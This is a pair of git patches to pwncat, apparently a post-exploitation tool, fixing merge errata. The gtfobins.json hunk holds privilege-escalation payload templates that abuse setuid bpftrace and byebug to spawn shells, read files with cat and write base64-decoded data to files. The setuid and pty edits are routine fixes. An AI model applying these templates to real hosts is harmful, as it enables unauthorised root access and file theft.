From ac568f271f33ed95abfd37e007d2bf8698b1bd68 Mon Sep 17 00:00:00 2001 From: John Hammond Date: Sat, 9 May 2020 22:06:45 -0400 Subject: [PATCH 1/2] Fixed errata from merge --- .byebug_history | 6 ++++++ data/gtfobins.json | 13 ++++++++----- pwncat/privesc/setuid.py | 2 ++ pwncat/pty.py | 3 +++ 4 files changed, 19 insertions(+), 5 deletions(-) create mode 100644 .byebug_history diff --git a/.byebug_history b/.byebug_history new file mode 100644 index 0000000..9ade48b --- /dev/null +++ b/.byebug_history @@ -0,0 +1,6 @@ +continue +!uit +quit -y +quit +exit +continue diff --git a/data/gtfobins.json b/data/gtfobins.json index 02aaec8..edbd3d0 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -85,7 +85,7 @@ { "name": "bpftrace", "shell": { - "script": "{command} -c {shell} -e 'END {{{{exit()}}}}'", + "script": "{command} -c {shell} -e 'END {{exit()}}'", "suid": ["-p"] } }, @@ -119,13 +119,16 @@ { "name": "byebug", "shell": { - "script": "TF=$(mktemp);echo 'system(\"{shell}\")' > $TF;{command} $TF", - "input": "continue\n" + "script": "TF=$(mktemp);echo 'system(\"{shell}\")' > $TF;{command} --no-stop -q $TF", + "need": [ + "--no-stop", + "-q" + ] }, - "read_file": "TF=$(mktemp);echo 'system(\"cat {lfile}\")' > $TF;{command} $TF", + "read_file": "TF=$(mktemp);echo 'system(\"cat {lfile}\")' > $TF;{command} --no-stop -q $TF", "write_file": { "type": "base64", - "payload": "TF=$(mktemp);echo 'system(\"echo {data} | base64 -d > {lfile}\")' > $TF;{command} $TF" + "payload": "TF=$(mktemp);echo 'system(\"echo {data} | base64 -d > {lfile}\")' > $TF;{path} --no-stop -q $TF" } }, { diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py index 362b8b0..b840a4d 100644 --- a/pwncat/privesc/setuid.py +++ b/pwncat/privesc/setuid.py @@ -67,6 +67,7 @@ class SetuidMethod(Method): # Update the cache for the current user self.find_suid() + known_techniques = [] for user, paths in self.suid_paths.items(): for path in paths: binary = gtfobins.Binary.find(path) @@ -95,6 +96,7 @@ class SetuidMethod(Method): # Run the start commands self.pty.run(enter + "\n", wait=False) + # self.pty.process(enter, delim=False) # Send required input self.pty.client.send(input.encode("utf-8")) diff --git a/pwncat/pty.py b/pwncat/pty.py index eaef489..8767134 100644 --- a/pwncat/pty.py +++ b/pwncat/pty.py @@ -795,6 +795,8 @@ class PtyHandler: response = self.recvuntil(b"_PWNCAT_ENDDELIM_") response = response.split(b"_PWNCAT_ENDDELIM_")[0] + if b"_PWNCAT_STARTDELIM_" in response: + response = b"\n".join(response.split(b"\n")[1:]) if self.has_cr: self.recvuntil(b"\r\n") @@ -981,6 +983,7 @@ class PtyHandler: if line == "": continue line = line.strip().split(":") + user_data = { "name": line[0], "password": None, From b6a926033daa41d2af8218eff93f2cf2c15e0f6c Mon Sep 17 00:00:00 2001 From: John Hammond Date: Sat, 9 May 2020 22:07:16 -0400 Subject: [PATCH 2/2] Fixed errata from merge --- .byebug_history | 6 ------ .gitignore | 1 + 2 files changed, 1 insertion(+), 6 deletions(-) delete mode 100644 .byebug_history diff --git a/.byebug_history b/.byebug_history deleted file mode 100644 index 9ade48b..0000000 --- a/.byebug_history +++ /dev/null @@ -1,6 +0,0 @@ -continue -!uit -quit -y -quit -exit -continue diff --git a/.gitignore b/.gitignore index f541b2d..d2871bd 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,4 @@ env/ **/*.egg-info/ build/ dist/ +.byebug_history